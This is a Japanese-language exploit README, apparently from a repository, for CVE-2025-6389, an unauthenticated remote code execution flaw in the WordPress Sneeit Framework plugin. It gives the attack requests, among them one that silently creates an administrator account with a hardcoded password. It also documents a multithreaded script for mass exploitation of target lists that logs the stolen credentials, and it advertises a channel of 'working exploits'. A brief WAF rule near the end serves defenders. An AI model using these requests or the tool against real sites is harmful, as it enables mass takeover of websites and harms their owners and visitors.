
Sneeit Framework <= 8.3 - sneeit_articles_pagination_callback における未認証のリモートコード実行
Sneeit Framework <= 8.3 - sneeit_articles_pagination_callback における認証なしリモートコード実行
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 次の情報をお見逃しなく。 Telegram で @KNxploited をフォロー — 新しく公開された CVE、動作するエクスプロイト、精鋭のセキュリティ研究の決定版チャンネルです。最初に知り、最初に行動しましょう。
CVE-2025-6389 は、WordPress 用 Sneeit Framework プラグインで発見された CVSS 9.8 Critical のリモートコード実行 (RCE) 脆弱性です。
この欠陥は sneeit_articles_pagination_callback() 関数に存在し、ユーザー指定の入力を PHP の call_user_func() に無検証で渡します。認証されていない攻撃者は、wp_insert_user を含む任意の PHP 関数を任意の引数で呼び出せ、事実上 完全な管理者アクセスを取得したり、任意のサーバーサイドコードを実行したりできます。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2025-6389 |
| プラグイン | Sneeit Framework (sneeit-framework) |
| 影響を受けるバージョン | 8.3 までのすべてのバージョン |
| 脆弱性の種類 | リモートコード実行 (RCE) |
| 攻撃ベクトル | ネットワーク — 認証不要 |
| CVSS 3.1 スコア | 9.8 CRITICAL |
| CVSS ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 影響 | サーバー完全乗っ取り / 管理者権限の奪取 |
| 研究者 | Nxploited |
根本原因は、プラグインの AJAX ハンドラー内での PHP の call_user_func() の誤用です:
// Registered without authentication check
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← User-controlled function name
$args = json_decode(stripslashes($_POST['args']), true); // ← User-controlled args
// Calling ANY PHP function with ANY arguments — zero validation
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
なぜこれが Critical なのか:
wp_ajax_nopriv_* = ログイン不要で誰でもアクセス可能call_user_func($callback, $args) = 任意の関数呼び出しvar_dump、system、wp_insert_user、eval または任意の PHP/WordPress 関数を呼び出せますStep 1 — Probe / Fingerprint
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
Expected Response → array(1) { [0]=> string(4) "test" }
↓
Confirms: call_user_func() is reachable and reflecting output
──────────────────────────────────────────────────────────────────
Step 2 — Admin Account Creation
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
Result → New administrator account silently created on target
↓
Full WordPress admin panel access achieved ✔️
pip install requests rich
| 依存パッケージ | 用途 |
|---|---|
requests | セッション/プロキシ対応の HTTP リクエスト |
rich | ライブ端末ダッシュボード、パネル、進捗表示 |
threading | 複数ターゲットの並行処理 |
queue | スレッドセーフなターゲット分散 |
Python 3.8+ が必要です。型ヒントは 3.9+ で導入された
tuple[...]構文を使用しています — 最適な互換性のため 3.9+ を使用してください。
CVE-2025-6389/
├── CVE-2025-6389.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: successful targets + credentials
└── debug_responses/ # Auto-generated: raw server responses for debugging
└── <target>.resp.txt
1行に1つのURLを記述した list.txt を作成します:
https://target1.com
https://target2.com
http://target3.com
http://またはhttps://のない URL には、自動的にhttp://が付加されます。
python CVE-2025-6389.py
以下のプロンプトが表示されます:
Targets file name (default list.txt): list.txt
Number of threads (default 10): 20
スクリプトは、以下のようなリアルタイムの Rich ダッシュボードを起動します:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ Info │ Stats │
│ Usage: Put targets in... │ Total Targets: 150 │
│ Threads: 20 │ Processed: 87 │
│ Password: xplpass │ Successes: 12 │
│ Success Log: success... │ Failures: 75 │
│ Debug Dir: debug_responses │ Elapsed: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ Recent Results │
│ Time Target Result │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
成功したエクスプロイトは success_results.txt に保存されます:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]
デバッグ応答 (失敗したターゲット用) は debug_responses/ に保存されます:
debug_responses/
└── https___victim.com.resp.txt ← Raw server response for analysis
| プロンプト | デフォルト | 説明 |
|---|---|---|
| ターゲットファイル | list.txt | ターゲット URL を記載したファイル |
| スレッド数 | 10 (最大: 200) | 同時実行ワーカー数 — 一括スキャン時は増加 |
| パスワード | xplpass (ハードコード) | 作成された管理者アカウントに設定するパスワード |
| ユーザー名の形式 | Nxploited_XXXX | ランダムな4桁の接尾辞が付いた自動生成 |
このエクスプロイトは、次のネットワークシグネチャを生成します — 防御側や WAF ルール作成者にとって有用です:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=sneeit_articles_pagination&callback=<FUNCTION>&args=<JSON>
WAF / IDS ルール (擬似コード):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT
サイト運営者、開発者、防御側の方は、直ちに次の手順を実行してください: